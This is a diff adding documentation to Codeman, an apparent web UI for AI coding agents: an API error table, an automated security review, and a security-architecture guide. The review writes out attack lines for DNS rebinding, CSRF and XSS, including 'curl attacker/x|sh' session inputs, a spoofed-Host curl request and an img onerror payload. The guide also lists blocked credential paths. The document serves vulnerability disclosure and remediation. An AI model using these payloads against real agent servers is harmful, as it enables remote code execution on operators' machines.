+| `INTERNAL_ERROR` | 500 | Unexpected server error |
+
+Adding a new error code is non-breaking; removing or renaming one is a major change.
+
+## Authentication
+
+Optional HTTP Basic (`CODEMAN_USERNAME`/`CODEMAN_PASSWORD`) → opaque
+`codeman_session` cookie. When enabled, unauthenticated requests get
+`401 UNAUTHORIZED`; rate-limited requests get `429 RATE_LIMITED`. See
+[`security-architecture.md`](security-architecture.md).
+
+## SSE event channel
+
+`GET /api/events` is a Server-Sent Events stream (`text/event-stream`); each
+message is `event: <name>` + `data: <json>`. The event-name registry
+(`src/web/sse-events.ts`, mirrored in `src/web/public/constants.js`) is part of
+the stable contract — event names are not renamed without a major bump. An
+optional `?sessions=<id,...>` filter suppresses only the high-volume terminal
+stream; lifecycle/metadata events are delivered to all clients regardless.
+
+## Consuming from JavaScript
+
+The bundled frontend reads responses through `_apiJson()`
+(`src/web/public/api-client.js`), which unwraps `{success:true,data}` → `data` and
+returns `null` on a non-2xx / `{success:false}` response. External clients should
+do the same: check the HTTP status (or `body.success`), then read `body.data`.

+# Codeman Security Review — 2026-06-09
+
+> **⚠️ Remediation status (updated 2026‑06‑09):** the two CRITICALs and 5 of the 7
+> HIGHs below were **fixed the same day in commit `c669518` (shipped as 0.9.5)** —
+> an always‑on `Host`‑header + cross‑site `Origin` allowlist (`registerHostGuard`),
+> a raw `text/plain` body parser, a WebSocket `Origin`/`Host` check, and
+> HTML‑escaped subagent‑panel sinks. **The present‑tense "is exploitable" wording
+> below describes the pre‑fix v0.9.4 state.** Still open: **H2** (the self‑updater
+> trusts an unsigned git tag — needs signing infra) and dropping CSP
+> `'unsafe-inline'` (needs a nonce migration; H4's escaping already neutralises the
+> known XSS). Per‑finding breakdown in the *Implementation status* section below;
+> regression tests in `test/network-host-guard.test.ts`.
+
+**Scope:** whole codebase (branch `master`, v0.9.4). Adversarial multi-agent review: 10 dimension specialists → diverse-lens skeptic verification of every finding (HIGH/CRITICAL got 3 independent refutation passes) → completeness-critic sweep. 47 raw findings → **25 survived verification** (+1 from the critic). 22 were refuted (mostly "already inside the OS trust boundary" same-uid claims and doc-accuracy nits). Several exploits were **confirmed live** with `curl` against throwaway test ports.
+
+## TL;DR — the one thing that matters
+
+The default, *documented-as-safe* configuration (loopback bind + no `CODEMAN_PASSWORD`) is **remotely exploitable to RCE by any website the operator merely visits.** Every session runs `--dangerously-skip-permissions`, so "send input to a session" == "run arbitrary shell as the operator." Two missing, standard controls cause almost all of the serious findings:
+
+- **(A) No `Host`-header allowlist** → DNS-rebinding turns a malicious page into a same-origin client of `127.0.0.1`.
+- **(B) No global Origin/CSRF check on state-changing routes, plus a global `text/plain` body parser** → a plain cross-site `fetch` (a CORS "simple request", no preflight) submits JSON to the API. Write-only access is enough for RCE.
+
+Fix (A) + (B) + drop CSP `unsafe-inline` / escape the subagent panel, and the two CRITICALs and 5 of the 7 HIGHs collapse.
+
+> Note: this is *not* a claim that the existing trust model is wrongly documented. `docs/security-architecture.md` is unusually honest. The problem is that the model assumes "loopback + no password" is safe against a browsing operator — and the browser (DNS rebinding + the text/plain parser) breaks that assumption.
+
+---
+
+## CRITICAL
+
+### C1 — No `Host`-header allowlist → DNS rebinding → full API → RCE (default no-auth install)
+`src/web/server.ts:1697` (listen, no host validation) · `src/web/middleware/auth.ts:163-211` (no Host check). Actor: A2 (malicious website) ⇒ A1-equivalent RCE. **3/3 verifiers confirmed; live-confirmed.**
+
+A page on `evil.example` (DNS TTL≈1s) is loaded by the operator, then DNS is rebound to `127.0.0.1`. Subsequent `fetch('http://evil.example:3000/...')` are now **same-origin** with Codeman (so CORS never engages), and with no password there are no credentials to miss. The page does `POST /api/sessions {workingDir}` → reads the session id from the same-origin response → `POST /api/sessions/<id>/input {input:"curl attacker/x|sh\r"}`. Confirmed: `curl -H 'Host: attacker.evil.com' -X POST -d '{"workingDir":"/tmp"}' http://127.0.0.1:<port>/api/sessions` → `200`.
+
+**Fix:** early `onRequest` hook (before routing) that rejects any request whose `Host` is not in `{localhost, 127.0.0.1, ::1, configured --host, CODEMAN_ALLOWED_HOSTS}` with `403`. This is *the* standard anti-rebinding control for localhost dev servers and the single highest-value fix.
+
+### C2 — Global `text/plain` content-type parser JSON-parses every body → cross-site CSRF *without* rebinding
+`src/web/server.ts:710-716`. Actor: A2. **3/3 verifiers confirmed; live-confirmed.**
+
+A global parser registered for `text/plain` runs `JSON.parse` on the body of **every** route. `text/plain` is a CORS *simple* content type, so a cross-origin `fetch(..., {method:'POST', headers:{'Content-Type':'text/plain'}, body:'{...}'})` reaches the handler **with no preflight**. SameSite=lax + reflected-CORS don't help: on the no-auth default there's no cookie to gate, and the side effect happens regardless of whether the attacker can read the response. Confirmed: cross-origin (`Origin: https://evil.com`) `POST /api/sessions` with `Content-Type: text/plain` → `200` (session created); same against `/input` parsed+validated the JSON body.
+
+**Fix:** remove the global `text/plain` JSON parser (parse the one crash-diagnostics body inside its own handler), **and** add a global same-origin/CSRF guard on all non-GET routes (see H3). Combine with C1's Host allowlist so the host comparison itself can't be rebound.
+
+---
+
+## HIGH
+
+### H1 — Self-update is unauthenticated/CSRF-triggerable → forced update + RCE pivot
+`src/web/routes/system-routes.ts:313`. Actor: A1/A2. **3/3 confirmed.**
+`fetch('http://127.0.0.1:3000/api/system/update',{method:'POST',mode:'no-cors'})` from any page (no body, no preflight) kicks off the detached updater on a no-password install. On its own: forced pull/rebuild/restart (availability + forces the latest tag). Chained with H2: full RCE.
+**Fix:** require Origin/CSRF on this route *independent of the password*; refuse self-update when no password is set; mint a confirmation token via a prior GET.
+
+### H2 — Self-updater builds an **unsigned, unverified** git tag (no signature / commit pin) *(contested 2/3)*
+`scripts/self-update.sh:139`. Actor: A5 + A1/A2 trigger.
+`isValidReleaseTag` validates only the *tag name* (`^(codeman|aicodeman)@\d+\.\d+\.\d+$`) and version ordering — never the commit. Anyone who can push a `codeman@9.9.9` tag (or compromise release CI) gets `git checkout --force` + `npm install` (arbitrary lifecycle scripts) + build + restart, as the operator. One verifier refuted on the basis that the *trigger* is auth-gated when a password is set — true, but the default has no password and H1 supplies the trigger.
+**Fix:** verify integrity, not just the name — GPG-signed tags (`git verify-tag` against a shipped maintainer key) or pin to a SHA published out-of-band; `npm ci --ignore-scripts` + an explicit audited build step; pin the remote to the expected GitHub repo.
+
+### H3 — CSRF/Origin validation exists on exactly one route; the RCE-enabling routes have none
+`src/web/routes/session-routes.ts:1570-1600` (only `paste-image` is protected) vs `:229` create, `:595` input, `:635` send-key, `:404` delete. Actor: A2. **3/3 confirmed.**
+The team clearly knows the correct control (it's on `paste-image`) but didn't apply it broadly.
+**Fix:** a shared `onRequest` guard for all non-GET API routes: `Origin`/`Referer` host ∈ Host allowlist **and** `Sec-Fetch-Site == same-origin`. Global, not per-route.
+
+### H4 — Stored XSS in the subagent activity panel (raw AI tool name/inputs → `innerHTML`; `unsafe-inline` ⇒ executes)
+`src/web/public/panels-ui.js:808-811` (and `:1403`). Actor: A3 (AI/subagent/MCP output), reachable by A1/A2. **3/3 confirmed.**
+`renderSubagentDetail()` sets `innerHTML` with un-escaped `a.tool`, `toolDetail.primary`, `displayText`. A subagent tool **name** (no length cap) or a short Bash command like `<img src=x onerror=...>` (28 chars, under the 100-char input truncation) is parsed as HTML in the operator's DOM; CSP `unsafe-inline` lets the `onerror` run → reads cookies, drives every same-origin API (i.e. types commands into a skip-permissions session), or hits the self-updater. `_renderActivityItem` is inconsistent: line 1404 escapes, line 1403 doesn't.
+**Fix:** `escapeHtml()` those fields at the sink; and drop `unsafe-inline` from `script-src` (move inline handlers to `addEventListener`/nonce) so a missed escape can't execute.
+
+### H5 — WebSocket terminal route has no Origin/Host check (CSWSH + rebinding → drives skip-permissions agent)
+`src/web/routes/ws-routes.ts:62`. Actor: A2 / A1-via-tunnel. **3/3 confirmed.**
+WS upgrades aren't subject to SOP; with no password and no Origin/Host check, a cross-site page (or rebound origin) opens `ws://host/ws/sessions/<id>/terminal` and sends `{"t":"i","d":"curl attacker/x|bash\r"}`.
+**Fix:** validate `Origin` + `Host` on the upgrade, `socket.close(4003)` on mismatch (reuse the loopback-origin logic + the C1 Host allowlist).
+
+### H6 — `PUT /api/settings {tunnelEnabled:true}` spawns a public cloudflared tunnel (CSRF/rebinding publishes the authless instance) *(completeness-critic find)*
+`src/web/routes/system-routes.ts:523-535`. Actor: A2 ⇒ A1. **Confirmed; no CSRF on this route.**
+If `cloudflared` is installed (the project encourages it), a cross-site `PUT` flips on a tunnel; the public `*.trycloudflare.com` URL is broadcast over SSE and exposed at `GET /api/tunnel/info` / `/api/tunnel/qr`. The attacker reads it → unauthenticated **internet** access to the skip-permissions API.
+**Fix:** treat tunnel-start as privileged — CSRF/Origin check on `PUT /api/settings`; refuse to start a tunnel when `CODEMAN_PASSWORD` is unset; don't echo the public URL on unauthenticated endpoints.
+
+### (H→operational) The no-password default *is* the unauthenticated RCE surface once reachable off-host *(contested 2/3)*
+`src/web/middleware/auth.ts:45-46`. This is the *documented* trust boundary, so it's operational hardening rather than a code bug: on `--host 0.0.0.0`/LAN/tunnel without a password, any client `POST /input` → RCE. **Fix:** fail-closed (or auto-generate+print a random password) when binding non-loopback / starting a tunnel without one; constrain `workingDir` to an allowlist (cases dir / `$HOME`) to shrink blast radius.

+## MEDIUM
+
+| # | Finding | Location | Fix |
+|---|---------|----------|-----|
+| M1 | **Command injection via *discovered* tmux session name** — `muxName` taken verbatim from a live tmux session (only `startsWith('codeman-')` filtered), flows into double-quoted `execSync` in `sessionExists()`/`killSession()` **without** `isValidMuxName`. Reached on boot via `startInteractive→muxSessionExists`. Actor A4 (shared `tmux -L codeman` socket). | `src/tmux-manager.ts:925`, `:1065` | Convert these two sinks to argv form (`execFile('tmux',[...,'-t',muxName])`) like the others, **and/or** reject discovered names failing `SAFE_MUX_NAME_PATTERN` in `reconcileSessions()`. |
+| M2 | **Forged hook events over a loopback-terminating tunnel** — `/api/hook-event` bypasses auth on loopback IP, but cloudflared/tailscale-serve connect *from* `127.0.0.1` (Fastify `trustProxy:false`). A forged `idle_prompt`/`stop` drives a respawn that injects the operator's update prompt + `/clear` + `/init` into a live skip-permissions session; forged `transcript_path` streams arbitrary readable files to SSE. The in-code comment "prevents forged hook events via tunnel/LAN" is **false**. *(contested 2/3; impact real)* | `src/web/middleware/auth.ts:83-90` | Gate the bypass on a per-boot shared secret in the hook curl (`X-Codeman-Hook-Secret`), not `req.ip`. Require a password when a tunnel is active. Reject `transcript_path` outside the session workingDir. Fix the comment. |
+| M3 | **Session cookie binds nothing** — recorded `ip`/`ua` never enforced on reuse → stolen-cookie replay from anywhere; no absolute lifetime cap (refresh-on-get extends forever). | `src/web/middleware/auth.ts:102-106` | Compare `record.ip` (+ optional UA hash) on reuse; cap absolute session lifetime. |
+| M4 | **Non-loopback bind w/o password starts and only warns** (0.9.0 warn-don't-block) → real A1 exposure on misconfig; warning is a one-time stderr line. | `src/web/server.ts:1708-1724`, `src/cli.ts:486-500` | Consider fail-closed default; at minimum log to `session-lifecycle.jsonl` + persistent UI banner. |
+| M5 | **tail-file SSE route escapes the per-session boundary** — uses a *divergent* validator that `~`-expands and whitelists `/var/log` + `~/logs`, so an authorized caller streams files outside every session's workingDir (e.g. `/var/log/auth.log`). Doc overclaims "all file routes share `validateSessionFilePath`". | `src/web/routes/file-routes.ts:341`, `src/file-stream-manager.ts:400` | Route through `validateSessionFilePath()`, or drop the extra roots + `~` expansion; fix the doc. |
+| M6 | **Session display name accepts arbitrary chars** (`z.string().max(100)`, no regex) — safe only by downstream escaping (which H4 shows isn't uniform). | `src/web/schemas.ts:135,138,384` | Strip control chars / angle brackets at the schema (defense-in-depth). |
+| M7 | **Blind SSRF via attacker-supplied web-push endpoint**, triggerable through the loopback-exempt `/api/hook-event` (and via C2/CSRF). Stored endpoint URL is fetched server-side. | `src/web/server.ts:1630` (+ `src/push-store.ts`) | Allowlist known push-service hosts; reject endpoints resolving to loopback/private/link-local/169.254.169.254; re-check IP at send time (rebind-safe). |

+---
+
+## What's solid (credit where due)
+
+The verifiers **refuted 22** candidate findings — the defenses below held under adversarial scrutiny:
+
+- **Request-facing command injection is well defended.** Every shell-interpolated value from an HTTP route (`workingDir`, `model`, `allowedTools`, `effort`, `resumeSessionId`, OpenCode config, env-override key/value, span-displays URL, cloudflared port, update tag, tail path) is either argv-form (no shell) or allowlist-regex-validated at the sink. `muxName=codeman-<uuid8>` is server-generated. The only gap is the *discovered*-name path (M1).
+- **Self-update command construction** is hardened (argv spawn, anchored `isValidReleaseTag`, double-quoted `$TAG`). The weakness is *integrity* (H2), not injection.
+- **Primary file-read boundary** `validateSessionFilePath` (realpath-before-check + `relative()` containment) correctly resists `../`, absolute paths, symlinks, sibling-prefix tricks; image upload uses `lstat`+`O_NOFOLLOW`+`O_EXCL`.
+- **Input validation** funnels through Zod + `parseBody`; env-override allowlist enforces the `CLAUDE_CODE_`/`OPENCODE_` prefix **and** a `BLOCKED_ENV_KEYS` set (`PATH`, `LD_PRELOAD`, `NODE_OPTIONS`, …) re-checked at apply time.
+- **Auth pipeline internals** are competent: timing-safe Basic compare, 256-bit opaque server-side session tokens, rejection-sampled base62 QR codes over 256-bit tokens with single-use atomic consumption, `logger:false` (no credential logging).
+- **Same-uid "attacks"** (tmux socket input injection, `/proc/<pid>/environ`, tmux `showenv` key disclosure) were refuted as already inside the OS trust boundary — a same-user process can already do anything to its peers.

+- ✅ **C1** — `Host`-header allowlist (`registerHostGuard` in `middleware/auth.ts`, policy in `network-auth-policy.ts`). Allows loopback/any-IP-literal/bind-host/`.ts.net`/`.trycloudflare.com`/`.cfargotunnel.com`/active-tunnel/`CODEMAN_ALLOWED_HOSTS`; rejects rebound custom domains.
+- ✅ **C2** — global `text/plain` parser no longer JSON-parses (crash-diag self-parses); plus the global cross-site Origin guard.
+- ✅ **H1, H3, H6** — global Origin/CSRF guard on all non-GET routes (covers self-update, session create/input, settings/tunnel).
+- ✅ **H4** — escaped all AI-derived sinks in `panels-ui.js` (tool name, tool detail, toolUseId, displayText).
+- ✅ **H5** — Origin/Host check on the WebSocket upgrade (`ws-routes.ts`).
+- ⏳ **H2** — deferred: needs signed-tag infra (no maintainer key yet); `npm ci --ignore-scripts` would break node-pty's native build, so not applied blindly.
+- ⏳ **CSP `unsafe-inline` removal** — deferred: inline `onclick=` handlers are pervasive; needs a nonce migration (H4's sink-escaping already neutralizes the known XSS).
+
+Tests: `test/network-host-guard.test.ts` (19), `test/routes/ws-routes.test.ts` (22). Operational note: any custom reverse-proxy domain must be added via `CODEMAN_ALLOWED_HOSTS=host,.suffix`.
+
+## Remediation priority
+
+1. **Add a `Host`-header allowlist** (`onRequest`, pre-routing). → kills C1, blunts H5/H6 rebinding. *Highest value, smallest change.*
+2. **Remove the global `text/plain` JSON parser + add a global same-origin/CSRF guard** on all non-GET routes. → kills C2, H1, H3, H6; blunts M7. Reuse the `paste-image` pattern globally.
+3. **Drop CSP `unsafe-inline` and `escapeHtml()` the subagent panel fields** (`panels-ui.js:808-811,1403`). → kills H4, closes L2/L3.
+4. **Add tag-signature/commit verification to the self-updater** + `npm ci --ignore-scripts`. → kills H2.
+5. **Validate Origin/Host on the WS upgrade** (`ws-routes.ts:62`). → kills H5.
+6. **Refuse to start a tunnel / non-loopback bind without a password** (or auto-generate one). → closes the operational HIGH + M4 + H6's precondition.
+7. Sweep the MEDIUMs: M1 (argv tmux sinks), M2 (hook secret), M5 (tail validator), M7 (push SSRF allowlist).
+
+*Generated by an automated adversarial multi-agent review (97 agents, ~4.8M tokens). Findings were independently verified but should be confirmed by a human before remediation; the live-confirmed exploits (C1, C2) are the highest-confidence items.*

+# Security Architecture
+
+This document describes Codeman's security model: how it decides who may reach
+the web UI, how requests are authenticated, how the file-serving and tmux layers
+are hardened, and the recommended ways to expose an instance safely.
+
+Codeman spawns and drives Claude/OpenCode CLIs with
+`--dangerously-skip-permissions`. **Anyone who can reach an unauthenticated
+instance can run arbitrary commands as your user.** The defaults below are chosen
+so that a fresh install is safe on the machine it runs on, while remote access is
+an explicit, guided opt‑in.
+
+> TL;DR — Codeman binds **loopback only (`127.0.0.1`) by default**, so out of the
+> box it is reachable only from the same machine and needs no password. To reach
+> it from elsewhere, either put it behind an **authenticated tunnel**
+> (`tailscale serve` / `cloudflared`) **or** bind a wider host **and set
+> `CODEMAN_PASSWORD`**. If you bind a non‑loopback host with no password, Codeman
+> still starts but prints a **loud warning** telling you how to secure it.

+
+## Trust model
+
+**The security boundary is the network bind plus authentication — not the code Codeman
+runs.** Because sessions launch with `--dangerously-skip-permissions`, the web UI is by
+design a remote‑code‑execution surface for whoever is allowed to reach it. Everything
+below exists to control *who* that is.
+
+| Actor | Reaches the UI when… | Is granted |
+|-------|----------------------|------------|
+| Same‑machine user | Always (default loopback bind) | Full session control — the intended local‑use case. |
+| Authenticated remote client | Tunnel/LAN reachability **and** a valid password or session cookie | Full session control. |
+| Unauthenticated remote client | Only if you bind a non‑loopback host with no password | Full session control — the exact case every default and warning works to prevent. |
+| Clients behind a loopback‑connecting tunnel | A reverse tunnel terminates on `127.0.0.1` | Inherit `req.ip = 127.0.0.1`, so they hit the localhost‑only exemptions (§3) unless a password is set. |
+
+**Explicitly out of scope.** Codeman is access control for the operator console, not a
+sandbox for the code that console runs. It does **not** defend against: a compromised
+local user account (loopback is trusted), malicious contents in a workspace you
+deliberately open, or the breadth of filesystem a session's `workingDir` is pointed at
+(§5).
+
+---
+
+## 1. Network binding model
+
+| Setting | Default | Source |
+|---------|---------|--------|
+| Bind host | `127.0.0.1` (loopback) | `--host` / `CODEMAN_HOST` → `WebServer` ctor |
+| Port | `3000` | `--port` / `CODEMAN_PORT` |
+| TLS | off (`--https` to enable) | `--https` |
+
+### Bind host classification
+
+`isLoopbackBindHost()` (`src/web/network-auth-policy.ts`) decides whether a bind
+host is loopback-only. It returns `true` for:
+
+- `localhost`
+- any IPv4 in `127.0.0.0/8` (e.g. `127.0.0.1`, `127.42.0.9`)
+- IPv6 loopback `::1` (bracketed `[::1]` and the long form `0:0:0:0:0:0:0:1`)
+- IPv4‑mapped loopback `::ffff:127.*`
+
+It returns `false` for `0.0.0.0`, `::` (all interfaces), LAN IPs, and hostnames.
+The classification is **fail‑safe in the dangerous direction**: any host that is
+not provably loopback is treated as non‑loopback (it never mistakes `0.0.0.0`
+for loopback). Shorthand forms like `127.1` or integer/octal IPs classify as
+non‑loopback (you'll get a warning, not a silent wide‑open bind) — use
+`127.0.0.1` for an unambiguous loopback bind.
+
+### Startup policy (the "warn, don't block" rule)
+
+At `WebServer.start()`:
+
+| Bind host | `CODEMAN_PASSWORD` | Behavior |
+|-----------|--------------------|----------|
+| loopback (default) | unset | **Start.** Safe — reachable only from this machine. |
+| loopback | set | **Start.** Auth required even locally. |
+| non‑loopback | set | **Start.** Auth protects the open bind. |
+| non‑loopback | unset | **Start + LOUD warning** listing how to secure it. |
+| non‑loopback | unset, `--allow-unauthenticated-network` | **Start + terse acknowledged note.** |
+
+> History: an earlier iteration (unreleased COD‑29) *refused to start* on a
+> non‑loopback bind without a password. That surprised setups that "just worked"
+> before, so **0.9.0 changed it to start‑and‑warn**. Loopback is still the safe
+> default; the warning (with three concrete fixes) replaces the hard failure.
+
+The warning points at three ways to secure the instance:
+
+1. `CODEMAN_PASSWORD=<password>` — turns on HTTP Basic auth (see §2).
+2. `--host 127.0.0.1` + an authenticated tunnel (`cloudflared` / `tailscale serve`).
+3. `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1`
+   — explicitly accept the risk (downgrades the warning to a one‑line note). This
+   flag is **only** an acknowledgement; it does not change reachability.
+
+`CODEMAN_API_URL` (used by hooks/child processes) is always derived as a loopback
+address (`0.0.0.0`/`localhost`/`::1` → `127.0.0.1`) so in‑process hooks reach the
+server over loopback regardless of the public bind.
+
+---
+
+## 2. Authentication
+
+Auth is **optional** and controlled by env vars captured at startup:
+
+- `CODEMAN_USERNAME` (default `admin` when only a password is set)
+- `CODEMAN_PASSWORD`
+
+When `CODEMAN_PASSWORD` is unset, no auth is enforced — which is why the default
+loopback bind matters. The auth pipeline (`src/web/middleware/auth.ts`,
+`onRequest` hook) runs in this order:
+
+1. **Localhost‑only exemptions** (always first): `POST /api/hook-event` and the QR
+   `/q/` short‑code path are exempt when `req.ip` is loopback (see §3).
+2. **Session cookie** check — a valid `codeman_session` cookie short‑circuits to
+   allow.
+3. **HTTP Basic** check — correct credentials short‑circuit to allow and clear
+   that IP's failure counter.
+4. **Rate‑limit gate** — if neither cookie nor credentials passed and the IP is
+   locked out, return `429` with a `Retry-After` header.
+5. Otherwise return `401`, incrementing the IP's failure counter.
+
+### Session cookies
+
+On successful Basic auth the server issues `codeman_session`, an opaque
+server‑side token (`randomBytes(32)`), valid 24h with auto‑extend and device
+context for the audit log. Tokens are **not** client‑signed — they're validated
+by presence in a server‑side map, so they cannot be forged offline.
+
+### Rate limiting / lockout recovery
+
+Failed auth is tracked **per IP**: 10 failures → `429`, with a 15‑minute decay.
+The QR path has its own separate limiter.
+
+The lockout check sits **after** the cookie/credential checks (step 4, not first).
+This is deliberate: a user with a **valid cookie or correct password recovers
+immediately** even while an attacker is hammering the same IP — important because
+all traffic through a tunnel shares one source IP (loopback). Wrong credentials
+are still counted and still hit the `429` at the threshold, so brute‑force
+protection is unchanged.
+
+---
+
+## 3. Request‑origin trust & the tunnel caveat
+
+`req.ip` is derived from the **TCP socket only** — Fastify runs with
+`trustProxy: false`, so `X-Forwarded-For` / `X-Real-IP` / `Forwarded` are
+**ignored**. A remote client cannot forge `req.ip` to `127.0.0.1`.
+
+**However**, a reverse tunnel that connects to the server over loopback (e.g.
+`cloudflared --url http://localhost:3000`) makes **every tunneled request arrive
+with `req.ip = 127.0.0.1`**. The localhost‑only exemptions then treat those
+requests as local:
+
+- `POST /api/hook-event` — auth‑exempt for loopback. Bounded impact: it is
+  `HookEventSchema`‑validated and requires a valid in‑memory `sessionId`; it can
+  drive respawn signals, SSE broadcasts, push notifications, and transcript
+  watching — **not** arbitrary terminal input or file reads. It is a
+  session‑disruption / notification‑spoofing surface, not RCE.
+- QR `/q/` — still protected by its own short‑code brute‑force limiter
+  (10 failures / 60s against a 62⁶ space).
+
+**Mitigation:** set `CODEMAN_PASSWORD` whenever a loopback‑connecting tunnel is
+up (it does not gate the hook‑event exemption, but it gates everything else and
+is the documented practice). Prefer `tailscale serve` (below), which authenticates
+at the tailnet layer so untrusted clients never reach the loopback port at all.
+
+### Host‑header & Origin allowlist (DNS‑rebinding & CSRF defense)
+
+Since **0.9.5** an **always‑on** `onRequest` hook (`registerHostGuard`,
+`src/web/middleware/auth.ts`; policy in `src/web/network-auth-policy.ts`) runs
+**before** the auth pipeline in §2 and guards **every** request — including the
+localhost‑only exemptions above, SSE, the WebSocket upgrade, and static files. It
+closes the browser‑driven RCE path (DNS rebinding plus a cross‑site `text/plain`
+`POST`) that the loopback‑no‑password default otherwise exposed to any site the
+operator merely visits.
+
+- **Host allowlist (anti‑DNS‑rebinding).** The `Host` header is validated on
+  **every** request, all methods. A custom domain rebound to `127.0.0.1` is
+  rejected with `403 Forbidden: host not allowed` before any handler runs. Allowed:
+  `localhost`; **any** IP literal (IPv4/IPv6 — a browser hitting a numeric address
+  can't be a rebinding victim); the bind host; the suffixes `.ts.net`,
+  `.trycloudflare.com`, `.cfargotunnel.com`; the hostname of the active
+  Codeman‑managed tunnel; and anything in `CODEMAN_ALLOWED_HOSTS`. A missing/empty
+  `Host` is rejected.
+- **Origin / CSRF guard.** On **state‑changing** methods (everything except
+  `GET`/`HEAD`/`OPTIONS`) the `Origin` header must also pass the same allowlist,
+  else `403 Forbidden: cross‑site request blocked`. A **missing `Origin` is
+  allowed** (so `curl`, the CLI, and Claude Code hooks keep working); only a
+  present‑but‑foreign origin — or the opaque `null` origin (sandboxed iframe) — is
+  rejected. This blocks the cross‑site CSRF that could previously create sessions,
+  trigger self‑update, or flip `tunnelEnabled`.
+- **Raw `text/plain` bodies.** The global `text/plain` content‑type parser no
+  longer JSON‑parses bodies — it hands handlers the raw string (`/api/crash-diag`
+  self‑parses its beacon payload). This removes the CORS "simple request" CSRF
+  vector, where a cross‑site `fetch` with `Content-Type: text/plain` smuggled a
+  JSON body into a write route with no preflight — defense‑in‑depth alongside the
+  Origin guard.
+- **WebSocket upgrades.** The terminal WS upgrade (`src/web/routes/ws-routes.ts`)
+  runs the **same** Host + Origin check and closes with code `4003` on failure
+  (anti‑CSWSH).
+
+The policy is rebuilt per request from
+`buildHostPolicy(bindHost, tunnelManager.getUrl())`, so starting or stopping a
+tunnel at runtime updates the allowlist with no restart.
+
+> **Reverse‑proxy operators:** a custom proxy domain (e.g. `codeman.example.com`)
+> is **not** in the default allowlist and gets `403 host not allowed`. Add it via
+> `CODEMAN_ALLOWED_HOSTS` — comma‑separated, case‑insensitive; an exact hostname
+> matches only itself, while a leading‑dot entry (`.corp.internal`) matches the
+> bare domain **and** all subdomains. Behaviour is covered by
+> `test/network-host-guard.test.ts`.
+
+---
+
+## 4. Recommended remote‑access setups
+
+Ordered most‑to‑least recommended:
+
+### A. Tailscale serve (recommended)
+
+Bind loopback, let Tailscale front it on your tailnet with a real cert:
+
+```bash
+codeman web --https            # binds 127.0.0.1:3000
+tailscale serve --bg https / http://127.0.0.1:3000
+```
+
+Only devices on your tailnet can reach it; Tailscale handles identity. No app
+password and no `0.0.0.0` bind required. (This is the maintainer's production
+setup.)
+
+### B. Authenticated cloudflared tunnel + password
+
+```bash
+export CODEMAN_PASSWORD=<password>
+codeman web --https
+cloudflared tunnel --url https://localhost:3000
+```
+
+Always set `CODEMAN_PASSWORD` here — the tunnel connects over loopback, so the
+hook‑event exemption (§3) would otherwise be reachable from the public URL.
+
+### C. Direct LAN bind + password
+
+```bash
+export CODEMAN_PASSWORD=<password>
+codeman web --https --host 0.0.0.0
+```
+
+Exposes the port on all interfaces; the password is the only thing protecting it.
+
+### Avoid
+
+`--host 0.0.0.0` **without** a password. Codeman will start (and warn), but
+anyone on the network can control your Claude sessions. Never re‑expose `0.0.0.0`
+without a password.
+
+---
+
+## 5. File‑serving hardening
+
+Three routes serve workspace files; all require a valid `sessionId` and run the
+shared path validator `validateSessionFilePath()` (`src/web/route-helpers.ts`):
+it `realpath`s the target **before** the boundary check and rejects anything that
+escapes the session working directory (`..`, absolute paths, and symlinks that
+resolve outside). The realpath‑before‑check ordering closes the validation‑time
+TOCTOU window.
+
+| Route | Cap | Notes |
+|-------|-----|-------|
+| `file-content` | 10 MB | text preview |
+| `file-raw` | 50 MB | inline MIME map; **`X-Content-Type-Options: nosniff` on all responses** |
+| `POST /api/download` | 50 MB | forced `attachment`; sensitive‑path blocklist |
+
+### SVG / content‑type XSS
+
+A workspace `.svg` served inline as `image/svg+xml` is a stored‑XSS vector (SVG
+can carry `<script>`, same‑origin = full session control). `file-raw` therefore
+serves `.svg` as `application/octet-stream` + `Content-Disposition: attachment` +
+`nosniff`. The control here is the **`octet-stream` + `attachment` + `nosniff`
+combination**, which forces a download instead of a render — not the CSP: the
+policy's `script-src` allows `'unsafe-inline'` (§9), so a same‑origin HTML
+document *would* be able to run inline scripts if the browser ever rendered it.
+By the same combination, other text types (`.html`, `.xml`, …) that fall through
+to `octet-stream` are downloaded, not executed. Trusted QR/welcome SVGs are
+injected from API JSON (`innerHTML`), not via `file-raw`, so they are unaffected.
+
+### Download sensitive‑path blocklist
+
+`/api/download` additionally refuses a blocklist of sensitive paths
+(`/etc/shadow`, `~/.ssh/`, `.env`, `*credentials*`, `.aws/credentials`, …). This
+is **defense‑in‑depth, not the primary boundary** — the realpath containment is
+the control.
+
+### SSE log‑tail route — intentional extra read roots
+
+The live file‑tail SSE route (`FileStreamManager`, used to stream a growing log
+into the UI) does **not** use `validateSessionFilePath`; it has its own validator
+with a deliberately **wider** allowlist: the session `workingDir` **plus two
+read‑only log roots — `/var/log` and `~/logs`** — so operators can tail
+system/app logs. `/tmp` is intentionally excluded (world‑writable). Like the
+other routes it `realpath`s the target and re‑checks right before spawning `tail`
+(TOCTOU guard), and it is read‑only. This is the one place the per‑session
+boundary is intentionally relaxed; on a password‑protected remote deployment an
+authenticated user can therefore read `/var/log` and `~/logs` outside their
+session dir. (Security review M5: this divergence is by design and is now
+documented here rather than silently diverging from the per‑session claim above.)
+
+### Known limitation — `workingDir` scope
+
+The file‑route boundary is the session's `workingDir`, and `POST /api/sessions`
+currently accepts an arbitrary absolute `workingDir` (validated as "exists + is a
+directory"). A session created with `workingDir=/` can therefore read files
+across the filesystem within that boundary. This is **pre‑existing** across all
+file routes and not widened by the recent changes. Recommended follow‑up:
+constrain `workingDir` to an allowlist (e.g. under the cases dir / `$HOME`).
+
+---
+
+## 6. tmux launch hardening (COD‑31)
+
+New sessions and respawns launch the tmux server/pane from a stable `/tmp`
+(`TMUX_LAUNCH_CWD`) and then `cd` into the real workspace **inside** the pane,
+against the live mount table:
+
+```
+respawn-pane -k -c /tmp -t <session> bash -c "cd <workingDir> && <cmd>"
+```
+
+This avoids a class of failures on FUSE/rclone‑mounted workspaces where a
+transient mount blip at launch poisons tmux's long‑lived cwd and crashes
+`new-session`. Safety properties:
+
+- **Fail‑safe cwd:** the command is `cd "<dir>" && <cmd>` — if `cd` fails the CLI
+  does **not** run in `/tmp`; the pane dies with a visible error instead.
+- **No injection:** `workingDir` passes `isValidWorkingDir` (absolute, rejects
+  `;&|$\`(){}<>'"` and newlines and `..`) and `isValidPath`, and is double‑quoted
+  in the pane command. Paths with spaces work; metacharacters are rejected before
+  reaching the shell.
+- It does not change which tmux socket is targeted, so instance isolation (§8) is
+  preserved.
+
+---
+
